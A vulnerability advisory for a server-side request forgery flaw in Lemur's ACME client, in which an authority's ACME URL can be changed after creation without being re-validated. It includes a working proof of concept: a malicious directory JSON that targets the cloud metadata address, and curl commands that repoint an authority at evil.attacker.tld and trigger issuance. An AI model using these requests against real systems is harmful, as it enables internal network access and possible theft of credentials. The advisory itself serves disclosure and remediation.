CVE-2026-70666: Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs
Summary The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acmeurl, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acmeurl against an allowlist of public ACME directories, but only at authority creation.
Published Aug 18, 2026
Affected packages
lemur
- Ecosystem
- PyPI
- Affected
- <= 1.9.2
- Fixed in
- 1.9.3
- Check
pip show lemur
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.
Detail
Defect A - allowlist only at creation. _validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside `create_authority` (lines 337, 481). The update path stores options verbatim:
# lemur/authorities/views.py:417-424 (Authorities.put)
return service.update(
authority_id,
owner=data["owner"], description=data["description"],
active=data["active"], roles=data["roles"],
options=data.get("options") # <- acme_url lives here, NO re-validation
)AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: *"existing authorities in the DB were already trusted when they were created and are not re-validated."*
Defect B - ACME client follows server-supplied URLs. setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client:
get_directory(acme_url)-> server returnsnewNonce,newOrder,revokeCert,keyChangeURLs.new_order()-> server returnsfinalizeandauthorizationsURLs.poll(),finalize_order(), cert download -> all hit server-chosen URLs.
A malicious ACME server can return internal URLs for all of these.
Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.
Source-to-sink trace:
PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
-> service.update(options={"acme_url":"https://evil.attacker.tld/dir"}) <- no re-validation
… next certificate issuance against this authority …
setup_acme_client_no_retry reads acme_url=evil.attacker.tld
-> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
-> Lemur POSTs JWS-signed request to internal URLSteps to Reproduce (POC)
Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:
# Minimal: a directory endpoint that points "newOrder" at an internal target
{
"newNonce": "https://evil.attacker.tld/nonce",
"newOrder": "http://169.254.169.254/latest/meta-data/", # <- internal
"revokeCert": "https://evil.attacker.tld/revoke",
"keyChange": "https://evil.attacker.tld/key"
}Step 2 - Attacker (authority-role member) repoints an existing ACME authority:
curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
-H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
-d '{
"name":"letsencrypt",
"owner":"[email protected]",
"description":"x","active":true,
"roles":[{"id":7,"name":"letsencrypt_operator"}],
"options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
}'Step 3 - Issue a certificate against the repointed authority (via UI/API):
curl -k -X POST https://lemur.example.com/api/1/certificates \
-H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
-d '{"commonName":"demo.example.com","owner":"[email protected]",
"authority":{"name":"letsencrypt"},"validityYears":1}'The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)
*Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.
Impact
- JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
- Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.
Fix
- Re-run
_validate_acme_urlinsideauthorities/service.update/update_options, or makeacme_urlimmutable after authority creation. - In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured
acme_urlhostname.
Credited to hypnguyen1209.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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